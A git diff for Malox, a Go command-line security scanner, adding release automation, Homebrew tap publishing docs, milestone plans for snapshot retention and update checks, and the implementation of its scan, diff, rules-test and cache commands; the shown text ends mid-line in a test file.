diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..39d9883 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,151 @@ +name: Release + +on: + push: + branches: + - main + +permissions: + contents: write + +concurrency: + group: release-main + cancel-in-progress: false + +jobs: + release: + name: Build and publish release + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v6 + with: + fetch-depth: 0 + + - name: Set up Go + uses: actions/setup-go@v6 + with: + go-version-file: go.mod + cache: true + + - name: Select next version + id: version + shell: bash + run: | + set -euo pipefail + + git fetch --force --tags + + latest_tag="$(git tag --list 'v[0-9]*.[0-9]*.[0-9]*' --sort=-v:refname | head -n 1 || true)" + if [[ -z "${latest_tag}" ]]; then + latest_tag="v0.0.0" + fi + + bump="patch" + if [[ -f ".release-bump" ]]; then + bump="$(tr '[:upper:]' '[:lower:]' < .release-bump | tr -d '[:space:]')" + elif [[ "${latest_tag}" == "v0.0.0" ]]; then + bump="minor" + else + changed_files="$(git diff --name-status "${latest_tag}"..HEAD)" + added_go_files="$(printf '%s\n' "${changed_files}" | awk '$1 == "A" && $2 ~ /\.go$/ { print $2 }')" + dependency_changes="$(printf '%s\n' "${changed_files}" | awk '$2 == "go.mod" || $2 == "go.sum" { print $2 }')" + + if [[ -n "${added_go_files}" || -n "${dependency_changes}" ]]; then + bump="minor" + fi + fi + + case "${bump}" in + major|minor|patch) ;; + *) + echo "::error::.release-bump must contain major, minor, or patch." + exit 1 + ;; + esac + + version="${latest_tag#v}" + IFS='.' read -r major minor patch <<< "${version}" + + case "${bump}" in + major) + major=$((major + 1)) + minor=0 + patch=0 + ;; + minor) + minor=$((minor + 1)) + patch=0 + ;; + patch) + patch=$((patch + 1)) + ;; + esac + + next_tag="v${major}.${minor}.${patch}" + + if git rev-parse "${next_tag}" >/dev/null 2>&1; then + echo "::error::Tag ${next_tag} already exists." + exit 1 + fi + + { + echo "latest_tag=${latest_tag}" + echo "bump=${bump}" + echo "next_tag=${next_tag}" + } >> "${GITHUB_OUTPUT}" + + - name: Create release notes + shell: bash + run: | + set -euo pipefail + + latest_tag="${{ steps.version.outputs.latest_tag }}" + next_tag="${{ steps.version.outputs.next_tag }}" + bump="${{ steps.version.outputs.bump }}" + + mkdir -p dist + + { + echo "## ${next_tag}" + echo + echo "Release type: ${bump}" + echo + + echo "### Commits" + if [[ "${latest_tag}" == "v0.0.0" ]]; then + git log --oneline --no-merges + else + git log --oneline --no-merges "${latest_tag}"..HEAD + fi + echo + + echo "### Changed files" + if [[ "${latest_tag}" == "v0.0.0" ]]; then + git ls-tree -r --name-only HEAD | sed 's/^/A\t/' + else + git diff --name-status "${latest_tag}"..HEAD + fi + } > dist/release-notes.md + + - name: Create tag + shell: bash + run: | + set -euo pipefail + + next_tag="${{ steps.version.outputs.next_tag }}" + + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + git tag -a "${next_tag}" -m "Release ${next_tag}" + git push origin "${next_tag}" + + - name: Release + uses: goreleaser/goreleaser-action@v7 + with: + distribution: goreleaser + version: "~> v2" + args: release --clean --release-notes=dist/release-notes.md + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + HOMEBREW_TAP_GITHUB_TOKEN: ${{ secrets.HOMEBREW_TAP_GITHUB_TOKEN }} diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..36f971e --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +bin/* diff --git a/.goreleaser.yml b/.goreleaser.yml new file mode 100644 index 0000000..f1f865b --- /dev/null +++ b/.goreleaser.yml @@ -0,0 +1,63 @@ +version: 2 + +project_name: malox + +before: + hooks: + - go mod tidy + +builds: + - id: malox + main: ./cmd/malox + binary: malox + env: + - CGO_ENABLED=0 + goos: + - darwin + - linux + - windows + goarch: + - amd64 + - arm64 + ldflags: + - -s -w + - -X main.version={{ .Version }} + - -X main.commit={{ .Commit }} + - -X main.buildDate={{ .Date }} + +archives: + - id: malox + formats: + - tar.gz + format_overrides: + - goos: windows + formats: + - zip + name_template: "{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}" + +checksum: + name_template: checksums.txt + +snapshot: + version_template: "{{ incpatch .Version }}-next" + +changelog: + disable: true + +brews: + - name: malox + ids: + - malox + repository: + owner: darckorp + name: homebrew-tap + branch: main + token: "{{ .Env.HOMEBREW_TAP_GITHUB_TOKEN }}" + directory: Formula + homepage: "https://github.com/darckorp/malox" + description: "Fast cross-platform terminal security scanner for open source projects" + license: "MIT" + install: | + bin.install "malox" + test: | + system "#{bin}/malox", "--version" diff --git a/.release-bump.example b/.release-bump.example new file mode 100644 index 0000000..9eb7b90 --- /dev/null +++ b/.release-bump.example @@ -0,0 +1 @@ +patch diff --git a/AGENTS.md b/AGENTS.md index 60d89ff..0ba0346 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -4,3 +4,5 @@ search internet to verify your implementation and align code with latest code pr use docs/go-code-guidelines.md as a reference for code style and best practices. always persue towards goal as stated in docs/goal.md while implementing the CLI and project foundation. Ensure that the implementation aligns with the overall vision and objectives of the Malox project. always play devil advocate and check if the code you are about to write is the best way to implement the feature or if there are alternative approaches that could be more efficient, maintainable, or scalable. Consider factors such as performance, readability, and ease of maintenance when evaluating different implementation options. +always run go build, test and code verification, format commands to ensure that the code is free of syntax errors, follows the Go code style guidelines, and passes all tests before finalizing the implementation. This will help maintain code quality and ensure that the implementation is robust and reliable. +always at the end of an edit, always give me a commit message for changes you have made. The commit message should be concise and descriptive, summarizing the changes made in the code. It should follow the standard format of a commit message, including a brief summary of the changes, followed by a more detailed description if necessary. The commit message should also include any relevant issue numbers or references to related work. This will help maintain a clear and organized commit history, making it easier for other developers to understand the changes made and the context behind them. diff --git a/bin/malox b/bin/malox new file mode 100755 index 0000000..26961ff Binary files /dev/null and b/bin/malox differ diff --git a/docs/goal.md b/docs/goal.md index 90eb459..90381a2 100644 --- a/docs/goal.md +++ b/docs/goal.md @@ -200,11 +200,7 @@ Project cache layout: project.json latest.json scans/ - 2026-06-17T12-30-00Z.json - indexes/ - files.jsonl - packages.jsonl - findings.jsonl + 2026-06-17T12-30-00Z.json.gz node/ package-inventory.json lockfile-inventory.json @@ -218,6 +214,10 @@ Cache rules: - Store every source record with the raw upstream ID and normalized PURL. - Never overwrite the last known-good cache until a new cache update is fully written and verified. +- Store scan snapshots as compact gzip-compressed JSON and keep `latest.json` as + a small pointer to the latest verified scan. +- Keep the newest 10 project snapshots by default, allow the retention count to + be configured, and always retain at least two snapshots for the default diff. - Use atomic writes: write to a temporary file, fsync when practical, then rename. - Apply TTLs by source type. Vulnerability and malicious package records should be refreshed aggressively; package metadata can be refreshed less often. @@ -229,9 +229,9 @@ Cache rules: project except decoded suspicious payload fragments needed for evidence, and only by SHA-256 under `decoded-payloads/`. -Start with content-addressed JSON and JSONL files. Add an embedded key-value store -later only if the cache becomes too slow; avoid native database dependencies that -make single-binary distribution harder. +Start with content-addressed JSON and gzip-compressed project snapshots. Add an +embedded key-value store later only if the cache becomes too slow; avoid native +database dependencies that make single-binary distribution harder. ## Node.js V0 Scope diff --git a/docs/homebrew-distribution.md b/docs/homebrew-distribution.md new file mode 100644 index 0000000..0dc6ad1 --- /dev/null +++ b/docs/homebrew-distribution.md @@ -0,0 +1,247 @@ +# Homebrew Distribution Guide + +Research checked on 2026-06-18. + +This guide explains how to publish Malox through a Homebrew tap so users can run: + +```bash +brew install Kawixh/tap/malox +``` + +It also explains how upgrades work after each GitHub release. + +## Current Repo State + +Malox already has the release pieces needed for Homebrew: + +- `.github/workflows/release.yml` runs on pushes to `main`. +- `.goreleaser.yml` builds macOS, Linux, and Windows binaries. +- `.goreleaser.yml` publishes a Homebrew formula to `Kawixh/homebrew-tap`. +- The formula path is `Formula/malox.rb`. +- The Homebrew install command is `brew install Kawixh/tap/malox`. + +The remaining setup is mostly GitHub repository and secret setup. + +## How Homebrew Tap Names Work + +Homebrew tap names map to GitHub repositories. + +For the one-argument tap form: + +```bash +brew tap Kawixh/tap +``` + +Homebrew looks for: + +```text +https://github.com/Kawixh/homebrew-tap +``` + +The repository prefix `homebrew-` matters on GitHub, but users omit it in the +command. That is why the public install command is: + +```bash +brew install Kawixh/tap/malox +``` + +Do not use npm-style names such as `@dark`; that is not a Homebrew tap naming +convention. + +## Step 1: Create The Tap Repository + +Create a separate GitHub repository: + +```text +Kawixh/homebrew-tap +``` + +Recommended settings: + +- Visibility: public, unless you intentionally want private distribution. +- Default branch: `main`. +- Initial contents: a README is fine. +- Directory expected after first release: `Formula/`. + +Do not manually create `Formula/malox.rb` unless you are testing locally. +GoReleaser will create and update it during release. + +## Step 2: Create A Fine-Grained GitHub Token + +The normal `GITHUB_TOKEN` can publish the release in the main Malox repository, +but it cannot reliably push to a separate tap repository. Create a fine-grained +personal access token for the tap. + +Token setup: + +- Resource owner: `Kawixh`. +- Repository access: only `Kawixh/homebrew-tap`. +- Permission: `Contents: Read and write`. +- Expiration: choose what you are comfortable rotating. + +Copy the token once GitHub shows it. + +## Step 3: Add The Secret To The Malox Repo + +In the main `Kawixh/malox` repository: + +1. Open GitHub repository settings. +2. Go to `Secrets and variables`. +3. Open `Actions`. +4. Create a repository secret named: + +```text +HOMEBREW_TAP_GITHUB_TOKEN +``` + +5. Paste the fine-grained token from Step 2. + +The release workflow already passes this secret to GoReleaser. + +## Step 4: Confirm GoReleaser Tap Settings + +The important `.goreleaser.yml` section is: + +```yaml +brews: + - name: malox + repository: + owner: Kawixh + name: homebrew-tap + branch: main + token: "{{ .Env.HOMEBREW_TAP_GITHUB_TOKEN }}" + directory: Formula + install: | + bin.install "malox" + test: | + system "#{bin}/malox", "--version" +``` + +This tells GoReleaser to commit `Formula/malox.rb` into +`Kawixh/homebrew-tap` after a release. + +GoReleaser currently marks its Homebrew formula publisher as deprecated in favor +of casks. Malox still uses `brews` here because the target distribution model is +a CLI formula installed with `brew install Kawixh/tap/malox`. Revisit this only +if GoReleaser removes formula support or the project decides to ship a cask. + +## Step 5: Release A Version + +Malox uses a low-ceremony release flow: + +```bash +git push origin main +``` + +The release workflow: + +1. Finds the latest `vX.Y.Z` tag. +2. Chooses the next version. +3. Creates release notes. +4. Creates and pushes the new tag. +5. Runs GoReleaser. +6. Publishes GitHub release artifacts. +7. Updates `Kawixh/homebrew-tap` with the new formula. + +To force a specific bump, create `.release-bump` before pushing: + +```text +patch +``` + +Allowed values: + +```text +major +minor +patch +``` + +Remove `.release-bump` after the release unless you want the same override to +apply again. + +## Step 6: Install From Brew + +After the release workflow finishes and the tap repo receives `Formula/malox.rb`, +install with: + +```bash +brew install Kawixh/tap/malox +``` + +Verify: + +```bash +malox --version +``` + +Useful inspection commands: + +```bash +brew info Kawixh/tap/malox +brew list malox +brew test Kawixh/tap/malox +``` + +## Step 7: Upgrade From Brew + +When a newer Malox release is published, GoReleaser updates the tap formula. +Users can upgrade with: + +```bash +brew update +brew upgrade malox +``` + +Or fully qualified: + +```bash +brew update +brew upgrade Kawixh/tap/malox +``` + +To check before upgrading: + +```bash +brew outdated malox +brew outdated --json=v2 malox +``` + +Homebrew updates tap repositories during `brew update`, and `brew upgrade` +upgrades outdated installed formulae. + +## Step 8: Troubleshoot The First Release + +If `brew install Kawixh/tap/malox` cannot find the formula: + +```bash +brew tap Kawixh/tap +brew update +brew search malox +``` + +Check the tap repository: + +```text +https://github.com/Kawixh/homebrew-tap/blob/main/Formula/malox.rb +``` + +If the formula was not committed, check the release workflow logs for: + +- missing `HOMEBREW_TAP_GITHUB_TOKEN` +- token without `Contents: Read and write` +- token scoped to the wrong repository +- tap repository name not matching `homebrew-tap` + +If the formula exists but install fails, run: + +```bash +brew install --debug --verbose Kawixh/tap/malox +``` + +## Useful References + +- Homebrew taps: https://docs.brew.sh/Taps +- Homebrew formula cookbook: https://docs.brew.sh/Formula-Cookbook +- Homebrew command manpage: https://docs.brew.sh/Manpage +- GoReleaser Homebrew formulas: https://goreleaser.com/customization/publish/homebrew_formulas/ diff --git a/docs/milestones/03-snapshot-persistence-and-diff.md b/docs/milestones/03-snapshot-persistence-and-diff.md index d789385..7a2b304 100644 --- a/docs/milestones/03-snapshot-persistence-and-diff.md +++ b/docs/milestones/03-snapshot-persistence-and-diff.md @@ -15,10 +15,15 @@ between scans. - environment override: `MALOX_PROJECT_STATE_DIR` - CLI override: `--state-dir ` - Persist snapshots under: - - `.malox/latest.json` - - `.malox/scans/.json` - - `.malox/indexes/files.jsonl` -- Use atomic writes for snapshots and indexes. + - `.malox/latest.json` as a small latest-scan pointer + - `.malox/scans/.json.gz` as compact gzip-compressed JSON +- Read legacy full-snapshot `latest.json` and uncompressed + `.malox/scans/.json` files for backward compatibility. +- Retain the newest 10 snapshots by default, with `--retain-scans ` and + `scan.retain_scans` overrides. Require at least two snapshots. +- Remove the unused file index instead of duplicating the file inventory in + `.malox/indexes/files.jsonl`. +- Use atomic writes for snapshots and the latest-scan pointer. - Load the previous snapshot before scanning when present. - Reuse a previous file hash only when path, size, modified time, mode, symlink target, and package owner match. @@ -52,6 +57,7 @@ between scans. - `malox scan` writes a snapshot by default unless explicitly configured for a dry-run mode. +- `malox scan --retain-scans ` controls project snapshot retention. - `malox diff` compares the two most recent snapshots by default. - `malox diff --from --to ` compares specific snapshots. - `malox diff --json` emits valid machine-readable diff output. @@ -76,7 +82,6 @@ between scans. - Dependency diff fields may be present as empty arrays until Milestone 4. - Finding diff fields may be present as empty arrays until Milestone 5, Milestone 7, and Milestone 8. -- JSONL indexes may start with file records only. - Empty placeholder fields must be populated or removed by the later milestone that owns the data. Do not leave unused fields without tests documenting their expected empty state. @@ -89,9 +94,11 @@ between scans. only under the documented identity rules. - `--strict-hash` rehashes files even when metadata matches. - Snapshot writes are atomic and do not corrupt `latest.json` if a write fails. +- Snapshot files are gzip-compressed, `latest.json` remains small, legacy + snapshots remain readable, and retention removes snapshots older than the + configured count. - The state directory override works through both environment and CLI flag, with CLI taking precedence. - Unit tests cover snapshot load/write, atomic replacement, diff state classification, strict hash behavior, scan ID selection, and missing-state errors. - diff --git a/docs/milestones/11-homebrew-distribution-and-update-checks.md b/docs/milestones/11-homebrew-distribution-and-update-checks.md new file mode 100644 index 0000000..24bda06 --- /dev/null +++ b/docs/milestones/11-homebrew-distribution-and-update-checks.md @@ -0,0 +1,106 @@ +# Milestone 11: Homebrew Distribution And Update Checks + +## Purpose + +Make Malox easy to install, upgrade, and keep current while preserving fast scan +startup and non-blocking CLI behavior. + +## Scope + +- Document and verify Homebrew tap distribution for: + - `Kawixh/homebrew-tap` + - `Formula/malox.rb` + - `brew install Kawixh/tap/malox` + - `brew upgrade malox` +- Keep release automation compatible with the existing push-to-main GoReleaser + flow. +- Add a package update checker for the Malox CLI itself. +- Check the latest GitHub release in parallel with command execution. +- Use the GitHub latest release endpoint: + - `GET https://api.github.com/repos/Kawixh/malox/releases/latest` +- Compare the running version with the latest stable release tag. +- Show update status only in interactive human-readable output. +- Keep JSON output, machine-readable output, and command exit codes unaffected by + update-check results. +- Cache update-check metadata under the global Malox cache. + +## Out Of Scope + +- Auto-updating the binary from inside Malox. +- Running `brew upgrade` from inside Malox. +- Blocking scans until the update check finishes. +- Checking prereleases by default. +- Prompting users for telemetry or sending scan/project metadata. +- Replacing Homebrew's own outdated or upgrade behavior. + +## CLI Requirements + +- Human output may start with: + - `Checking for updates...` +- If a newer release is found, replace that status with: + - `Update found: v0.2.0 -> v0.3.0, released 2 days ago` +- If the latest release matches the running version, either remove the status line + or show: + - `Malox is up to date: v0.3.0` +- If the update check is slow or unavailable, continue the requested command and + do not fail the scan. +- If the command finishes before the update check returns, do not delay command + completion just to print update status. +- Support disabling update checks with: + - `--no-update-check` + - `MALOX_NO_UPDATE_CHECK=1` +- Keep update-check messages out of `--json` output. + +## Implementation Constraints + +- Start the update check in a goroutine from CLI boundary code, not from scanner + packages. +- Give the update check its own timeout and context derived from the command + context. +- Do not let update-check cancellation cancel the scan. +- Use direct Go HTTP client code with bounded timeout and clear user agent. +- Parse only the fields needed from the GitHub response: + - `tag_name` + - `html_url` + - `created_at` + - `published_at` + - `prerelease` + - `draft` +- Prefer `published_at` for user-facing release age; fall back to `created_at` + only when needed. +- Compare semantic versions after trimming a leading `v`. +- Treat malformed, empty, development, or snapshot versions as not comparable. +- Do not print update failures in normal output; expose them only through debug + logging or structured diagnostics. +- Cache successful checks with a short TTL, such as 6 to 24 hours, so every CLI + invocation does not hit GitHub. +- Do not send project paths, package names, dependency inventory, findings, or + local configuration to the update endpoint. + +## Temporary Data Or Implementation + +- The first version may support only GitHub Releases because the current release + pipeline publishes there. +- Formula livecheck may be documented later, but Malox's own update notification + should not depend on Homebrew being installed. +- If no stable release exists yet, the checker should quietly report no update + rather than treating the first run as an error. + +## Passing Criteria + +- Installing from Homebrew works after a published release: + - `brew install Kawixh/tap/malox` +- Upgrading from Homebrew works after a newer release: + - `brew update` + - `brew upgrade malox` +- A command can run while the update check is in flight. +- Slow or failed update checks do not change scan results, JSON output, or exit + codes. +- Interactive output replaces `Checking for updates...` with an update-found line + when a newer release is available before command completion. +- Release age is formatted as minutes, hours, or days. +- Unit tests cover newer version, equal version, malformed version, prerelease, + draft release, network timeout, cached result, disabled checks, and JSON output + suppression. +- Tests use local HTTP test servers or cached fixture responses, not live GitHub + calls. diff --git a/docs/milestones/README.md b/docs/milestones/README.md index 8dbdab9..5279e3f 100644 --- a/docs/milestones/README.md +++ b/docs/milestones/README.md @@ -35,4 +35,4 @@ Every milestone must preserve the same engineering bar: 8. [JavaScript Obfuscation And Payload Analysis](./08-javascript-obfuscation-and-payload-analysis.md) 9. [Incremental `node_modules` Scanning](./09-incremental-node-modules-scanning.md) 10. [Terminal UX, Reports, And Release Hardening](./10-terminal-ux-reports-release-hardening.md) - +11. [Homebrew Distribution And Update Checks](./11-homebrew-distribution-and-update-checks.md) diff --git a/go.mod b/go.mod index 0ebb11f..2bab4f2 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,8 @@ module malox go 1.26.0 + +require ( + github.com/tailscale/hujson v0.0.0-20260302212456-ecc657c15afd + gopkg.in/yaml.v3 v3.0.1 +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..83419be --- /dev/null +++ b/go.sum @@ -0,0 +1,5 @@ +github.com/tailscale/hujson v0.0.0-20260302212456-ecc657c15afd h1:Rf9uhF1+VJ7ZHqxrG8pJ6YacmHvVCmByDmGbAWCc/gA= +github.com/tailscale/hujson v0.0.0-20260302212456-ecc657c15afd/go.mod h1:EbW0wDK/qEUYI0A5bqq0C2kF8JTQwWONmGDBbzsxxHo= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/internal/app/app.go b/internal/app/app.go index 9467f37..b7d94de 100644 --- a/internal/app/app.go +++ b/internal/app/app.go @@ -7,9 +7,17 @@ import ( "fmt" "io" "log/slog" + "os" + "path/filepath" "runtime" + "malox/internal/cache" "malox/internal/config" + "malox/internal/diff" + "malox/internal/report" + "malox/internal/rules" + "malox/internal/scan" + "malox/internal/threat" ) // Options controls one CLI invocation. @@ -66,12 +74,14 @@ func Run(ctx context.Context, opts Options) int { logger.DebugContext(ctx, "command parsed", "command", inv.command.String()) } - if err := runCommand(ctx, inv.command, cfg); err != nil { + if err := runCommand(ctx, inv.command, cfg, opts.Stdout, opts.Build); err != nil { code := ExitCode(err) if cfg.Verbose { logger.DebugContext(ctx, "command failed", "command", inv.command.String(), "exit_code", code) } - writeRuntimeError(opts.Stderr, err) + if code != ExitFindings { + writeRuntimeError(opts.Stderr, err) + } return code } @@ -108,29 +118,267 @@ func newLogger(w io.Writer, cfg config.Values) *slog.Logger { return slog.New(slog.NewTextHandler(w, &slog.HandlerOptions{Level: level})) } -func runCommand(ctx context.Context, command command, cfg config.Values) error { - _ = cfg - +func runCommand(ctx context.Context, command command, cfg config.Values, stdout io.Writer, build BuildInfo) error { if err := ctx.Err(); err != nil { return withExitCode(ExitScanFailed, fmt.Errorf("command canceled: %w", err)) } switch command { case commandScan: - return withExitCode(ExitScanFailed, errors.New("scan is not implemented yet; milestone 2 will add baseline scanning")) + globalCache, err := cache.NewGlobalStore(cfg.CacheDir) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("open global cache: %w", err)) + } + if err := globalCache.Ensure(ctx); err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("prepare global cache: %w", err)) + } + policies, err := rules.Load(ctx, rules.LoadOptions{ + PolicyFiles: cfg.Rules.PolicyFiles, + UseBuiltins: cfg.Rules.UseBuiltins, + }) + if err != nil { + return withExitCode(ExitUsage, fmt.Errorf("load rules: %w", err)) + } + store, err := cache.NewStoreWithOptions(cfg.StateDir, cache.StoreOptions{ + SnapshotRetention: cfg.Scan.RetainScans, + }) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("open project state: %w", err)) + } + previous, found, err := store.LoadLatest(ctx) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("load previous snapshot: %w", err)) + } + var previousSnapshot *scan.Snapshot + if found { + previousSnapshot = &previous + } + snapshot, err := scan.Project(ctx, scan.Options{ + Root: cfg.Scan.Root, + StateDir: store.Dir(), + ScannerVersion: build.Version, + MaxWorkers: cfg.Scan.MaxWorkers, + MaxFileSize: cfg.Scan.MaxFileSize, + StrictHash: cfg.Scan.StrictHash, + Previous: previousSnapshot, + RulePolicies: policies, + DecodedPayloadDir: filepath.Join(globalCache.Dir(), "decoded-payloads", "sha256"), + }) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("scan project: %w", err)) + } + threatResult, err := threat.Evaluate(ctx, snapshot.Node, threat.Options{ + Store: globalCache, + Offline: cfg.Offline, + Sources: cfg.Threat.Sources, + RequiredSources: cfg.Threat.RequiredSources, + OSVURL: cfg.Threat.OSVURL, + NPMRegistryURL: cfg.Threat.NPMRegistryURL, + }) + if err != nil { + if errors.Is(err, threat.ErrRequiredSourceUnavailable) { + return withExitCode(ExitThreatUnavailable, err) + } + return withExitCode(ExitScanFailed, fmt.Errorf("evaluate threat sources: %w", err)) + } + snapshot.Findings = append(snapshot.Findings, threatResult.Findings...) + snapshot.ThreatSources = threatResult.Sources + scan.RefreshSummary(&snapshot) + if err := store.WriteSnapshot(ctx, snapshot); err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("persist scan snapshot: %w", err)) + } + if err := report.WriteScan(stdout, snapshot, cfg.Scan.Output); err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("write scan report: %w", err)) + } + if rules.HasBlockingFindings(snapshot.Findings) { + return withExitCode(ExitFindings, errors.New("blocking policy findings found")) + } + return nil case commandDiff: - return withExitCode(ExitScanFailed, errors.New("diff is not implemented yet; milestone 3 will add snapshot comparison")) + diffReport, err := runDiff(ctx, cfg) + if err != nil { + return err + } + if err := report.WriteDiff(stdout, diffReport, cfg.Diff.Output); err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("write diff report: %w", err)) + } + if diffReport.HasRelevantChanges() { + return withExitCode(ExitFindings, errors.New("snapshot differences found")) + } + return nil case commandRulesTest: - return withExitCode(ExitScanFailed, errors.New("rules test is not implemented yet; milestone 5 will add rule execution")) + return runRulesTest(ctx, cfg, stdout, build) case commandCacheUpdate: - return withExitCode(ExitScanFailed, errors.New("cache update is not implemented yet; milestone 6 will add cache updates")) + globalCache, err := cache.NewGlobalStore(cfg.CacheDir) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("open global cache: %w", err)) + } + result, err := globalCache.Update(ctx, cache.UpdateOptions{ + Offline: cfg.Offline, + Source: cfg.Cache.Source, + }) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("update cache: %w", err)) + } + threatChanges, warnings, err := threat.UpdateSource(ctx, threat.Options{ + Store: globalCache, + Offline: cfg.Offline, + }, cfg.Cache.Source) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("update threat source: %w", err)) + } + result.Sources = append(result.Sources, threatChanges...) + result.Warnings = append(result.Warnings, warnings...) + if err := report.WriteCache(stdout, result, cfg.Cache.Output); err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("write cache report: %w", err)) + } + return nil case commandCacheClean: - return withExitCode(ExitScanFailed, errors.New("cache clean is not implemented yet; milestone 6 will add cache cleanup")) + globalCache, err := cache.NewGlobalStore(cfg.CacheDir) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("open global cache: %w", err)) + } + result, err := globalCache.Clean(ctx, cache.CleanOptions{ + Expired: cfg.Cache.Clean.Expired, + All: cfg.Cache.Clean.All, + Force: cfg.Cache.Clean.Force, + }) + if err != nil { + if errors.Is(err, cache.ErrCleanAllRequiresForce) { + return withExitCode(ExitUsage, err) + } + return withExitCode(ExitScanFailed, fmt.Errorf("clean cache: %w", err)) + } + if err := report.WriteCache(stdout, result, cfg.Cache.Output); err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("write cache report: %w", err)) + } + return nil default: return usageError("command %q is not implemented", command.String()) } } +func runRulesTest(ctx context.Context, cfg config.Values, stdout io.Writer, build BuildInfo) error { + if cfg.Rules.Test.RuleFile == "" { + return usageError("rules test requires a rule file") + } + if cfg.Rules.Test.Fixture == "" { + return usageError("rules test requires --fixture") + } + info, err := os.Stat(cfg.Rules.Test.Fixture) + if err != nil { + return withExitCode(ExitUsage, fmt.Errorf("fixture %q is not accessible: %w", cfg.Rules.Test.Fixture, err)) + } + if !info.IsDir() { + return withExitCode(ExitUsage, fmt.Errorf("fixture %q must be a directory", cfg.Rules.Test.Fixture)) + } + + policies, err := rules.LoadFiles(ctx, []string{cfg.Rules.Test.RuleFile}) + if err != nil { + return withExitCode(ExitUsage, fmt.Errorf("load rule file: %w", err)) + } + expected := cfg.Rules.Test.ExpectedFindings + if expected == nil { + expected = policyExpectedFindings(policies) + } + + snapshot, err := scan.Project(ctx, scan.Options{ + Root: cfg.Rules.Test.Fixture, + ScannerVersion: build.Version, + MaxWorkers: cfg.Scan.MaxWorkers, + MaxFileSize: cfg.Scan.MaxFileSize, + StrictHash: true, + }) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("scan fixture: %w", err)) + } + result, err := rules.Evaluate(ctx, rules.EvaluateOptions{ + Root: cfg.Rules.Test.Fixture, + Files: appRuleFiles(snapshot.Files), + Node: snapshot.Node, + Policies: policies, + MaxFileSize: cfg.Scan.MaxFileSize, + }) + if err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("evaluate rule file: %w", err)) + } + testResult := rules.NewTestResult( + cfg.Rules.Test.RuleFile, + cfg.Rules.Test.Fixture, + result.Findings, + result.Warnings, + expected, + ) + if err := report.WriteRulesTest(stdout, testResult, cfg.Rules.Test.Output); err != nil { + return withExitCode(ExitScanFailed, fmt.Errorf("write rules test report: %w", err)) + } + if !testResult.Passed { + return withExitCode(ExitFindings, errors.New("rules test expectations failed")) + } + return nil +} + +func appRuleFiles(files []scan.File) []rules.File { + refs := make([]rules.File, 0, len(files)) + for _, file := range files { + if file.Status != scan.StatusScanned { + continue + } + refs = append(refs, rules.File{ + Path: file.Path, + SHA256: file.SHA256, + Type: file.Type, + PackageOwner: file.PackageOwner, + Size: file.Size, + }) + } + return refs +} + +func policyExpectedFindings(policies []rules.Policy) *int { + for _, policy := range policies { + if policy.Tests != nil && policy.Tests.ExpectedFindings != nil { + return policy.Tests.ExpectedFindings + } + } + return nil +} + +func runDiff(ctx context.Context, cfg config.Values) (diff.Report, error) { + store, err := cache.NewStore(cfg.StateDir) + if err != nil { + return diff.Report{}, withExitCode(ExitScanFailed, fmt.Errorf("open project state: %w", err)) + } + + fromID := cfg.Diff.From + toID := cfg.Diff.To + if fromID == "" && toID == "" { + from, to, err := store.RecentPair(ctx) + if err != nil { + return diff.Report{}, withExitCode(ExitScanFailed, fmt.Errorf("select recent snapshots: %w", err)) + } + fromID = from.ID + toID = to.ID + } + + fromSnapshot, err := store.LoadSnapshot(ctx, fromID) + if err != nil { + return diff.Report{}, diffLoadError("load from snapshot", fromID, err) + } + toSnapshot, err := store.LoadSnapshot(ctx, toID) + if err != nil { + return diff.Report{}, diffLoadError("load to snapshot", toID, err) + } + return diff.Compare(fromSnapshot, toSnapshot), nil +} + +func diffLoadError(action, id string, err error) error { + if errors.Is(err, cache.ErrSnapshotNotFound) { + return withExitCode(ExitUsage, fmt.Errorf("%s %q: %w", action, id, err)) + } + return withExitCode(ExitScanFailed, fmt.Errorf("%s %q: %w", action, id, err)) +} + func writeVersion(w io.Writer, build BuildInfo) error { _, err := fmt.Fprintf( w, diff --git a/internal/app/app_test.go b/internal/app/app_test.go index 45d3dd2..70d5658 100644 --- a/internal/app/app_test.go +++ b/internal/app/app_test.go @@ -2,9 +2,13 @@ package app import ( "bytes" + "encoding/json" "errors" + "os" + "path/filepath" "strings" "testing" + "time" ) func TestRunRootHelp(t *testing.T) { @@ -39,6 +43,7 @@ func TestRunScanHelp(t *testing.T) { "Usage:", "--strict-hash", "--max-workers", + "--retain-scans", "malox scan --json", } { if !strings.Contains(stdout, want) { @@ -99,20 +104,156 @@ func TestRunInvalidFlagIsUsageError(t *testing.T) { } } -func TestRunScanNotImplementedUsesScanFailure(t *testing.T) { +func TestRunScanJSONWritesSnapshotStdoutOnly(t *testing.T) { workDir := t.TempDir() + if err := 